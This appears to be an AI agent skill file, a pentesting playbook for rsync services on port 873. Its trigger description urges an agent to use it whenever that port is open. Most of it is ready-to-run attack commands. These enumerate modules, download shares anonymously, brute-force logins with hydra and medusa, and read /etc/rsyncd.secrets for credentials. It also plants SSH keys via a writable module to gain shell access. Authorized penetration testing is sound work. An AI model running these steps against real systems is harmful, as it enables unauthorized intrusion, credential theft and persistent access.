| name | rsync-pentest |
| description | Pentest rsync file sharing services on port 873. Use this skill whenever you need to enumerate, access, or exploit rsync services. Trigger this skill for any rsync-related tasks including module enumeration, authentication testing, file transfer, brute force attacks, or post-exploitation configuration analysis. Make sure to use this skill when you see port 873 open, need to test rsync shares, or want to transfer files via rsync. |
Rsync Pentesting Skill
A skill for pentesting rsync file sharing services (default port 873).
Quick Start
nmap -sV --script "rsync-list-modules" -p 873 <TARGET_IP>
nc -vn <TARGET_IP> 873
Enumeration
Banner Grabbing
Connect to the rsync service to get version information:
nc -vn <TARGET_IP> 873
The server responds with @RSYNCD: <version>. Send the same version back, then request #list to retrieve available modules.
Example interaction:
@RSYNCD: 31.0 # Server sends version
@RSYNCD: 31.0 # You send same version back
#list # Request module list
raidroot # Module 1
USBCopy # Module 2
_NAS_Recycle_TOSRAID # Module 3
@RSYNCD: EXIT # Server closes connection
Module Enumeration
Use these methods to discover available rsync modules:
nmap -sV --script "rsync-list-modules" -p 873 <TARGET_IP>
rsync -av --list-only rsync://<TARGET_IP>:873
rsync -av --list-only rsync://[<IPv6>]:8730
msf> use auxiliary/scanner/rsync/modules_list
Testing Authentication
Check if modules require authentication:
rsync -av --list-only rsync://<TARGET_IP>/<module_name>
If authentication is required, you'll see:
@RSYNCD: AUTHREQD <token>
Accessing Shared Modules
Without Authentication
rsync -av --list-only rsync://<TARGET_IP>/<module_name>
rsync -av rsync://<TARGET_IP>/<module_name> ./local_dir/
rsync -av rsync://<TARGET_IP>:8730/<module_name> ./local_dir/
With Authentication
rsync -av --list-only rsync://<username>@<TARGET_IP>/<module_name>
rsync -av rsync://<username>@<TARGET_IP>/<module_name> ./local_dir/
Uploading Files
rsync -av ./local_file rsync://<username>@<TARGET_IP>/<module_name>/
rsync -av home_user/.ssh/ rsync://<username>@<TARGET_IP>/home_user/.ssh
Brute Force Attacks
If modules require authentication, attempt credential cracking:
hydra -l <username> -P /path/to/wordlist <TARGET_IP> rsync
medusa -h <TARGET_IP> -u <username> -P /path/to/wordlist -M rsync
Post-Exploitation
Finding Configuration Files
Once you have system access, locate rsync configuration:
find /etc -name "rsyncd.conf" -o -name "rsyncd.secrets"
cat /etc/rsyncd.secrets
The secrets file contains usernames and passwords for rsyncd authentication.
Common Configuration Locations
/etc/rsyncd.conf - Main configuration file
/etc/rsyncd.secrets - Authentication credentials
/etc/rsyncd.chroot - Chroot settings
Attack Patterns
Pattern 1: Anonymous Access Discovery
- Enumerate modules with
nmap -sV --script "rsync-list-modules"
- Test each module for anonymous access
- Download accessible files
- Look for sensitive data, credentials, or backup files
Pattern 2: Credential Harvesting
- Find modules requiring authentication
- Attempt brute force with common credentials
- Use discovered credentials to access other services
- Check for password reuse across systems
Pattern 3: SSH Key Upload
- Find writable rsync module
- Upload
authorized_keys file
- Gain SSH access to the system
Tips
- Some modules may be hidden and not appear in the list
- "Access Denied" messages indicate credential requirements
- Use
rsync -av for recursive transfers with attribute preservation
- Consider using SSH tunneling for encrypted rsync transfers
- Check for path traversal vulnerabilities in module configurations
References